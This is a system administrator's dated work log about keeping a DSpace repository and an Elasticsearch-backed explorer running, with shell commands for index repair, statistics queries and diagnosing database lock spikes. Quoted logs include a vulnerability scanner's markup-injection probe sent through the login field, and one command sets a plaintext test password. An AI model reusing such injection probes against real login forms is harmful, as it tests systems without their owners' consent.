  • The AReS Explorer harvesting from yesterday finished, and the results look OK, but actually the Elasticsearch indexes are messed up again:
    • +
+
$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool
+{
+    "openrxv-items-final": {
+        "aliases": {}
+    },
+    "openrxv-items-temp": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    },
+...
+}
+
    +
  • openrxv-items should be an alias of openrxv-items-final, not openrxv-temp… I will have to fix that manually
    • +
  • Enrico asked for more information on the RTB stats I gave him yesterday +
      +
    • I remembered (again) that we can’t filter Atmire’s CUA stats by date issued
      • +
    • To show, for example, views/downloads in the year 2020 for RTB issued in 2020, we would need to use the DSpace statistics API and post a list of IDs and a custom date range
      • +
    • I tried to do that here by exporting the RTB community and extracting the IDs for items issued in 2020:
      • +
    +
    • +
+
$ ~/dspace63/bin/dspace metadata-export -i 10568/80100 -f /tmp/rtb.csv
+$ csvcut -c 'id,dcterms.issued,dcterms.issued[],dcterms.issued[en_US]' /tmp/rtb.csv | \
+  sed '1d' | \
+  csvsql --no-header --no-inference --query 'SELECT a AS id,COALESCE(b, "")||COALESCE(c, "")||COALESCE(d, "") AS issued FROM stdin' | \
+  csvgrep -c issued -m 2020 | \
+  csvcut -c id | \
+  sed '1d' | \
+  sort | \
+  uniq
+
    +
  • So I remember in the future, this basically does the following: +
      +
    • Use csvcut to extract the id and all date issued columns from the CSV
      • +
    • Use sed to remove the header so we can refer to the columns using default a, b, c instead of their real names (which are tricky to match due to special characters)
      • +
    • Use csvsql to concatenate the various date issued columns (coalescing where null)
      • +
    • Use csvgrep to filter items by date issued in 2020
      • +
    • Use csvcut to extract the id column
      • +
    • Use sed to delete the header row
      • +
    • Use sort and uniq to filter out any duplicate IDs (there were three)
      • +
    +
    • +
  • Then I have a list of 296 IDs for RTB items issued in 2020
    • +
  • I constructed a JSON file to post to the DSpace Statistics API:
    • +
+
{
+  "limit": 100,
+  "page": 0,
+  "dateFrom": "2020-01-01T00:00:00Z",
+  "dateTo": "2020-12-31T00:00:00Z",
+  "items": [
+"00358715-b70c-4fdd-aa55-730e05ba739e",
+"004b54bb-f16f-4cec-9fbc-ab6c6345c43d",
+"02fb7630-d71a-449e-b65d-32b4ea7d6904",
+...
+  ]
+}
+
    +
  • Then I submitted the file three times (changing the page parameter):
    • +
+
$ curl -s -d @/tmp/2020-items.txt https://cgspace.cgiar.org/rest/statistics/items | json_pp > /tmp/page1.json
+$ curl -s -d @/tmp/2020-items.txt https://cgspace.cgiar.org/rest/statistics/items | json_pp > /tmp/page2.json
+$ curl -s -d @/tmp/2020-items.txt https://cgspace.cgiar.org/rest/statistics/items | json_pp > /tmp/page3.json
+
    +
  • Then I extracted the views and downloads in the most ridiculous way:
    • +
+
$ grep views /tmp/page*.json | grep -o -E '[0-9]+$' | sed 's/,//' | xargs | sed -e 's/ /+/g' | bc
+30364
+$ grep downloads /tmp/page*.json | grep -o -E '[0-9]+,' | sed 's/,//' | xargs | sed -e 's/ /+/g' | bc
+9100
+
    +
  • For curiousity I did the same exercise for items issued in 2019 and got the following: +
      +
    • Views: 30721
      • +
    • Downloads: 10205
      • +
    +
    • +
+

2021-04-06

+
    +
  • Margarita from CCAFS was having problems deleting an item from CGSpace again +
      +
    • The error was “Authorization denied for action OBSOLETE (DELETE) on BITSTREAM:bd157345-448e …”
      • +
    • This is the same issue as last month
      • +
    +
    • +
  • Create a new collection on CGSpace for a new CIP project at Mishel Portilla’s request
    • +
  • I got a notice that CGSpace was down +
      +
    • I didn’t see anything strange at first, but there are an insane amount of database connections:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+12413
+
    +
  • The system journal shows thousands of these messages in the system journal, this is the first one:
    • +
+
Apr 06 07:52:13 linode18 tomcat7[556]: Apr 06, 2021 7:52:13 AM org.apache.tomcat.jdbc.pool.ConnectionPool abandon
+
    +
  • Around that time in the dspace log I see nothing unusual, but maybe these?
    • +
+
2021-04-06 07:52:29,409 INFO  com.atmire.dspace.cua.CUASolrLoggerServiceImpl @ Updating : 200/127 docs in http://localhost:8081/solr/statistics
+
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+3640
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+2968
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+13
+
    +
  • After ten minutes or so it went back down…
    • +
  • And now it’s back up in the thousands… I am seeing a lot of stuff in dspace log like this:
    • +
+
2021-04-06 11:59:34,364 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717951
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717952
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717953
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717954
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717955
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717956
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717957
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717958
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717959
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717960
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717961
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717962
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717963
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717964
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717965
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717966
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717967
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717968
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717969
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717970
+2021-04-06 11:59:34,365 INFO  org.dspace.content.MetadataValueServiceImpl @ user.hidden@cgiar.org:session_id=65F32E67CE8E347F64EFB5EB4E349B9B:delete_metadata_value: metadata_value_id=5717971
+
    +
  • I sent some notes and a log to Atmire on our existing issue about the database stuff +
      +
    • Also I asked them about the possibility of doing a formal review of Hibernate
      • +
    +
    • +
  • Falcon 3.0.0 was released so I updated the 3.0.0 branch for dspace-statistics-api and merged it to v6_x +
      +
    • I also fixed one minor (unrelated) bug in the tests
      • +
    • Then I deployed the new version on DSpace Test
      • +
    +
    • +
  • I had a meeting with Peter and Abenet about CGSpace TODOs
    • +
  • CGSpace went down again and the PostgreSQL locks are through the roof:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+12154
+
    +
  • I don’t see any activity on REST API, but in the last four hours there have been 3,500 DSpace sessions:
    • +
+
# grep -a -E '2021-04-06 (13|14|15|16|17):' /home/cgspace.cgiar.org/log/dspace.log.2021-04-06 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+3547
+
    +
  • I looked at the same time of day for the past few weeks and it seems to be a normal number of sessions:
    • +
+
# for file in /home/cgspace.cgiar.org/log/dspace.log.2021-0{3,4}-*; do grep -a -E "2021-0(3|4)-[0-9]{2} (13|14|15|16|17):" "$file" | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l; done
+...
+3572
+4085
+3476
+3128
+2949
+2016
+1839
+4513
+3463
+4425
+3328
+2783
+3898
+3848
+7799
+255
+534
+2755
+599
+4463
+3547
+
    +
  • What about total number of sessions per day?
    • +
+
# for file in /home/cgspace.cgiar.org/log/dspace.log.2021-0{3,4}-*; do echo "$file:"; grep -a -o -E 'session_id=[A-Z0-9]{32}' "$file" | sort | uniq | wc -l; done
+...
+/home/cgspace.cgiar.org/log/dspace.log.2021-03-28:
+11784
+/home/cgspace.cgiar.org/log/dspace.log.2021-03-29:
+15104
+/home/cgspace.cgiar.org/log/dspace.log.2021-03-30:
+19396
+/home/cgspace.cgiar.org/log/dspace.log.2021-03-31:
+32612
+/home/cgspace.cgiar.org/log/dspace.log.2021-04-01:
+26037
+/home/cgspace.cgiar.org/log/dspace.log.2021-04-02:
+14315
+/home/cgspace.cgiar.org/log/dspace.log.2021-04-03:
+12530
+/home/cgspace.cgiar.org/log/dspace.log.2021-04-04:
+13138
+/home/cgspace.cgiar.org/log/dspace.log.2021-04-05:
+16756
+/home/cgspace.cgiar.org/log/dspace.log.2021-04-06:
+12343
+
    +
  • So it’s not the number of sessions… it’s something with the workload…
    • +
  • I had to step away for an hour or so and when I came back the site was still down and there were still 12,000 locks +
      +
    • I restarted postgresql and tomcat7…
      • +
    +
    • +
  • The locks in PostgreSQL shot up again…
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+3447
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+3527
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+4582
+
    +
  • I don’t know what the hell is going on, but the PostgreSQL connections and locks are way higher than ever before:
    • +
+

PostgreSQL connections week +PostgreSQL locks week +Tomcat database pool

+
    +
  • Otherwise, the number of DSpace sessions is completely normal:
    • +
+

DSpace sessions

+
    +
  • While looking at the nginx logs I see that MEL is trying to log into CGSpace’s REST API and delete items:
    • +
+
34.209.213.122 - - [06/Apr/2021:03:50:46 +0200] "POST /rest/login HTTP/1.1" 401 727 "-" "MEL"
+34.209.213.122 - - [06/Apr/2021:03:50:48 +0200] "DELETE /rest/items/95f52bf1-f082-4e10-ad57-268a76ca18ec/metadata HTTP/1.1" 401 704 "-" "-"
+
    +
  • I see a few of these per day going back several months +
      +
    • I sent a message to Salem and Enrico to ask if they know
      • +
    +
    • +
  • Also annoying, I see tons of what look like penetration testing requests from Qualys:
    • +
+
2021-04-04 06:35:17,889 INFO  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=FF1E051BCA7D81CC5A807D85380D81E5:ip_addr=64.39.108.48:failed_login:no DN found for user "'><qss a=X158062356Y1_2Z>
+2021-04-04 06:35:17,889 INFO  org.dspace.authenticate.PasswordAuthentication @ anonymous:session_id=FF1E051BCA7D81CC5A807D85380D81E5:ip_addr=64.39.108.48:authenticate:attempting password auth of user="'><qss a=X158062356Y1_2Z>
+2021-04-04 06:35:17,890 INFO  org.dspace.app.xmlui.utils.AuthenticationUtil @ anonymous:session_id=FF1E051BCA7D81CC5A807D85380D81E5:ip_addr=64.39.108.48:failed_login:email="'><qss a=X158062356Y1_2Z>, realm=null, result=2
+2021-04-04 06:35:18,145 INFO  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=FF1E051BCA7D81CC5A807D85380D81E5:ip_addr=64.39.108.48:auth:attempting trivial auth of user=was@qualys.com
+2021-04-04 06:35:18,519 INFO  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=FF1E051BCA7D81CC5A807D85380D81E5:ip_addr=64.39.108.48:failed_login:no DN found for user was@qualys.com
+2021-04-04 06:35:18,520 INFO  org.dspace.authenticate.PasswordAuthentication @ anonymous:session_id=FF1E051BCA7D81CC5A807D85380D81E5:ip_addr=64.39.108.48:authenticate:attempting password auth of user=was@qualys.com
+
    +
  • I deleted the ilri/AReS repository on GitHub since we haven’t updated it in two years + +
    • +
  • 10PM and the server is down again, with locks through the roof:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+12198
+
    +
  • I see that there are tons of PostgreSQL connections getting abandoned today, compared to very few in the past few weeks:
    • +
+
$ journalctl -u tomcat7 --since=today | grep -c 'ConnectionPool abandon'
+1838
+$ journalctl -u tomcat7 --since=2021-03-20 --until=2021-04-05 | grep -c 'ConnectionPool abandon'
+3
+
    +
  • I even restarted the server and connections were low for a few minutes until they shot back up:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+13
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+8651
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+8940
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+10504
+
    +
  • I had to go to bed and I bet it will crash and be down for hours until I wake up…
    • +
  • What the hell is this user agent?
    • +
+
54.197.119.143 - - [06/Apr/2021:19:18:11 +0200] "GET /handle/10568/16499 HTTP/1.1" 499 0 "-" "GetUrl/1.0 wdestiny@umich.edu (Linux)"
+

2021-04-07

+
    +
  • CGSpace was still down from last night of course, with tons of database locks:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+12168
+
    +
  • I restarted the server again and the locks came back
    • +
  • Atmire responded to the message from yesterday +
      +
    • The noticed something in the logs about emails failing to be sent
      • +
    • There appears to be an issue sending mails on workflow tasks when a user in that group has an invalid email address:
      • +
    +
    • +
+
2021-04-01 12:45:11,414 WARN  org.dspace.workflowbasic.BasicWorkflowServiceImpl @ a.akwarandu@cgiar.org:session_id=2F20F20D4A8C36DB53D42DE45DFA3CCE:notifyGroupofTask:cannot email user group_id=aecf811b-b7e9-4b6f-8776-3d372e6a048b workflow_item_id=33085\colon;  Invalid Addresses (com.sun.mail.smtp.SMTPAddressFailedException\colon; 501 5.1.3 Invalid address
+
    +
  • The issue is not the named user above, but a member of the group…
    • +
  • And the group does have users with invalid email addresses (probably accounts created automatically after authenticating with LDAP):
    • +
+

DSpace group

+
    +
  • I extracted all the group IDs from recent logs that had users with invalid email addresses:
    • +
+
$ grep -a -E 'email user group_id=\b[0-9a-f]{8}\b-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-\b[0-9a-f]{12}\b' /home/cgspace.cgiar.org/log/dspace.log.* | grep -o -E '\b[0-9a-f]{8}\b-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-\b[0-9a-f]{12}\b' | sort | uniq
+0a30d6ae-74a6-4eee-a8f5-ee5d15192ee6
+1769137c-36d4-42b2-8fec-60585e110db7
+203c8614-8a97-4ac8-9686-d9d62cb52acc
+294603de-3d09-464e-a5b0-09e452c6b5ab
+35878555-9623-4679-beb8-bb3395fdf26e
+3d8a5efa-5509-4bf9-9374-2bc714aceb99
+4238208a-f848-47cb-9dd2-43f9f954a4af
+44939b84-1894-41e7-b3e6-8c8d1781057b
+49ba087e-75a3-45ce-805c-69eeda0f786b
+4a6606ce-0284-421d-bf80-4dafddba2d42
+527de6aa-9cd0-4988-bf5f-c9c92ba2ac10
+54cd1b16-65bf-4041-9d84-fb2ea3301d6d
+58982847-5f7c-4b8b-a7b0-4d4de702136e
+5f0b85be-bd23-47de-927d-bca368fa1fbc
+646ada17-e4ef-49f6-9378-af7e58596ce1
+7e2f4bf8-fbc9-4b2f-97a4-75e5427bef90
+8029fd53-f9f5-4107-bfc3-8815507265cf
+81faa934-c602-4608-bf45-de91845dfea7
+8611a462-210c-4be1-a5bb-f87a065e6113
+8855c903-ef86-433c-b0be-c12300eb0f84
+8c7ece98-3598-4de7-a885-d61fd033bea8
+8c9a0d01-2d12-4a99-84f9-cdc25ac072f9
+8f9f888a-b501-41f3-a462-4da16150eebf
+94168f0e-9f45-4112-ac8d-3ba9be917842
+96998038-f381-47dc-8488-ff7252703627
+9768f4a8-3018-44e9-bf58-beba4296327c
+9a99e8d2-558e-4fc1-8011-e4411f658414
+a34e6400-78ed-45c0-a751-abc039eed2e6
+a9da5af3-4ec7-4a9b-becb-6e3d028d594d
+abf5201c-8be5-4dee-b461-132203dd51cb
+adb5658c-cef3-402f-87b6-b498f580351c
+aecf811b-b7e9-4b6f-8776-3d372e6a048b
+ba5aae61-ea34-4ac1-9490-4645acf2382f
+bf7f3638-c7c6-4a8f-893d-891a6d3dafff
+c617ada0-09d1-40ed-b479-1c4860a4f724
+cff91d44-a855-458c-89e5-bd48c17d1a54
+e65171ae-a2bf-4043-8f54-f8457bc9174b
+e7098b40-4701-4ca2-b9a9-3a1282f67044
+e904f122-71dc-439b-b877-313ef62486d7
+ede59734-adac-4c01-8691-b45f19088d37
+f88bd6bb-f93f-41cb-872f-ff26f6237068
+f985f5fb-be5c-430b-a8f1-cf86ae4fc49a
+fe800006-aaec-4f9e-9ab4-f9475b4cbdc3
+

2021-04-08

+
    +
  • I can’t believe it but the server has been down for twelve hours or so +
      +
    • The locks have not changed since I went to bed last night:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+12070
+
    +
  • I restarted PostgreSQL and Tomcat and the locks go straight back up!
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+13
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+986
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+1194
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+1212
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+1489
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+2124
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+5934
+

2021-04-09

+
    +
  • Atmire managed to get CGSpace back up by killing all the PostgreSQL connections yesterday +
      +
    • I don’t know how they did it…
      • +
    • They also think it’s weird that restarting PostgreSQL didn’t kill the connections
      • +
    • They asked some more questions, like for example if there were also issues on DSpace Test
      • +
    • Strangely enough, I checked DSpace Test and notice a clear spike in PostgreSQL locks on the morning of April 6th as well!
      • +
    +
    • +
+

PostgreSQL locks week CGSpace +PostgreSQL locks week DSpace Test

+
    +
  • I definitely need to look into that!
    • +
+

2021-04-11

+
    +
  • I am trying to resolve the AReS Elasticsearch index issues that happened last week +
      +
    • I decided to back up the openrxv-items index to openrxv-items-backup and then delete all the others:
      • +
    +
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items-backup
+$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+
    +
  • Then I updated all Docker containers and rebooted the server (linode20) so that the correct indexes would be created again:
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+
    +
  • Then I realized I have to clone the backup index directly to openrxv-items-final, and re-create the openrxv-items alias:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+$ curl -X PUT "localhost:9200/openrxv-items-backup/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-backup/_clone/openrxv-items-final
+$ curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+
    +
  • Now I see both openrxv-items-final and openrxv-items have the current number of items:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items/_count?q=*&pretty'     
+{
+  "count" : 103373,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -s 'http://localhost:9200/openrxv-items-final/_count?q=*&pretty'
+{
+  "count" : 103373,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • Then I started a fresh harvesting in the AReS Explorer admin dashboard
    • +
+

2021-04-12

+
    +
  • The harvesting on AReS finished last night, but the indexes got messed up again +
      +
    • I will have to fix them manually next time…
      • +
    +
    • +
+

2021-04-13

+
    +
  • Looking into the logs on 2021-04-06 on CGSpace and DSpace Test to see if there is anything specific that stands out about the activty on those days that would cause the PostgreSQL issues +
      +
    • Digging into the Munin graphs for the last week I found a few other things happening on that morning:
      • +
    +
    • +
+

/dev/sda disk latency week +JVM classes unloaded week +Nginx status week

+
    +
  • 13,000 requests in the last two months from a user with user agent SomeRandomText, for example:
    • +
+
84.33.2.97 - - [06/Apr/2021:06:25:13 +0200] "GET /bitstream/handle/10568/77776/CROP%20SCIENCE.jpg.jpg HTTP/1.1" 404 10890 "-" "SomeRandomText"
+
    +
  • I purged them:
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/agents.txt -p
+Purging 13159 hits from SomeRandomText in statistics
+
+Total number of bot hits purged: 13159
+
    +
  • I noticed there were 78 items submitted in the hour before CGSpace crashed:
    • +
+
# grep -a -E '2021-04-06 0(6|7):' /home/cgspace.cgiar.org/log/dspace.log.2021-04-06 | grep -c -a add_item 
+78
+
    +
  • Of those 78, 77 of them were from Udana
    • +
  • Compared to other mornings (0 to 9 AM) this month that seems to be pretty high:
    • +
+
# for num in {01..13}; do grep -a -E "2021-04-$num 0" /home/cgspace.cgiar.org/log/dspace.log.2021-04-$num | grep -c -a
+ add_item; done
+32
+0
+0
+2
+8
+108
+4
+0
+29
+0
+1
+1
+2
+

2021-04-15

+
    +
  • Release v1.4.2 of the DSpace Statistics API on GitHub: https://github.com/ilri/dspace-statistics-api/releases/tag/v1.4.2 +
      +
    • This has been running on DSpace Test for the last week or so, and mostly contains the Falcon 3.0.0 changes
      • +
    +
    • +
  • Re-sync DSpace Test with data from CGSpace +
      +
    • Run system updates on DSpace Test (linode26) and reboot the server
      • +
    +
    • +
  • Update the PostgreSQL JDBC driver on DSpace Test (linode26) to 42.2.19 +
      +
    • It has been a few months since we updated this, and there have been a few releases since 42.2.14 that we are currently using
      • +
    +
    • +
  • Create a test account for Rafael from Bioversity-CIAT to submit some items to DSpace Test:
    • +
+
$ dspace user -a -m tip-submit@cgiar.org -g CIAT -s Submit -p 'fuuuuuuuu'
+
    +
  • I added the account to the Alliance Admins account, which is should allow him to submit to any Alliance collection +
      +
    • According to my notes from 2020-10 the account must be in the admin group in order to submit via the REST API
      • +
    +
    • +
+

2021-04-18

+
    +
  • Update all containers on AReS (linode20):
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+
    +
  • Then run all system updates and reboot the server
    • +
  • I learned a new command for Elasticsearch:
    • +
+
$ curl http://localhost:9200/_cat/indices
+yellow open openrxv-values           ChyhGwMDQpevJtlNWO1vcw 1 1   1579      0 537.6kb 537.6kb
+yellow open openrxv-items-temp       PhV5ieuxQsyftByvCxzSIw 1 1 103585 104372 482.7mb 482.7mb
+yellow open openrxv-shared           J_8cxIz6QL6XTRZct7UBBQ 1 1    127      0 115.7kb 115.7kb
+yellow open openrxv-values-00001     jAoXTLR0R9mzivlDVbQaqA 1 1   3903      0 696.2kb 696.2kb
+green  open .kibana_task_manager_1   O1zgJ0YlQhKCFAwJZaNSIA 1 0      2      2  20.6kb  20.6kb
+yellow open openrxv-users            1hWGXh9kS_S6YPxAaBN8ew 1 1      5      0  28.6kb  28.6kb
+green  open .apm-agent-configuration f3RAkSEBRGaxJZs3ePVxsA 1 0      0      0    283b    283b
+yellow open openrxv-items-final      sgk-s8O-RZKdcLRoWt3G8A 1 1    970      0   2.3mb   2.3mb
+green  open .kibana_1                HHPN7RD_T7qe0zDj4rauQw 1 0     25      7  36.8kb  36.8kb
+yellow open users                    M0t2LaZhSm2NrF5xb64dnw 1 1      2      0  11.6kb  11.6kb
+
    +
  • Somehow the openrxv-items-final index only has a few items and the majority are in openrxv-items-temp, via the openrxv-items alias (which is in the temp index):
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items/_count?q=*&pretty' 
+{
+  "count" : 103585,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • I found a cool tool to help with exporting and restoring Elasticsearch indexes:
    • +
+
$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_mapping.json --type=mapping
+$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_data.json --limit=1000 --type=data
+...
+Sun, 18 Apr 2021 06:27:07 GMT | Total Writes: 103585
+Sun, 18 Apr 2021 06:27:07 GMT | dump complete
+
    +
  • It took only two or three minutes to export everything…
    • +
  • I did a test to restore the index:
    • +
+
$ elasticdump --input=/home/aorth/openrxv-items_mapping.json --output=http://localhost:9200/openrxv-items-test --type=mapping
+$ elasticdump --input=/home/aorth/openrxv-items_data.json --output=http://localhost:9200/openrxv-items-test --limit 1000 --type=data
+
    +
  • So that’s pretty cool!
    • +
  • I deleted the openrxv-items-final index and openrxv-items-temp indexes and then restored the mappings to openrxv-items-final, added the openrxv-items alias, and started restoring the data to openrxv-items with elasticdump:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+$ elasticdump --input=/home/aorth/openrxv-items_mapping.json --output=http://localhost:9200/openrxv-items-final --type=mapping
+$ curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+$ elasticdump --input=/home/aorth/openrxv-items_data.json --output=http://localhost:9200/openrxv-items --limit 1000 --type=data
+
    +
  • AReS seems to be working fine аfter that, so I created the openrxv-items-temp index and then started a fresh harvest on AReS Explorer:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items-temp"
+
    +
  • Run system updates on CGSpace (linode18) and run the latest Ansible infrastructure playbook to update the DSpace Statistics API, PostgreSQL JDBC driver, etc, and then reboot the system
    • +
  • I wasted a bit of time trying to get TSLint and then ESLint running for OpenRXV on GitHub Actions
    • +
+

2021-04-19

+
    +
  • The AReS harvesting last night seems to have completed successfully, but the number of results is strange:
    • +
+
$ curl -s http://localhost:9200/_cat/indices | grep openrxv-items
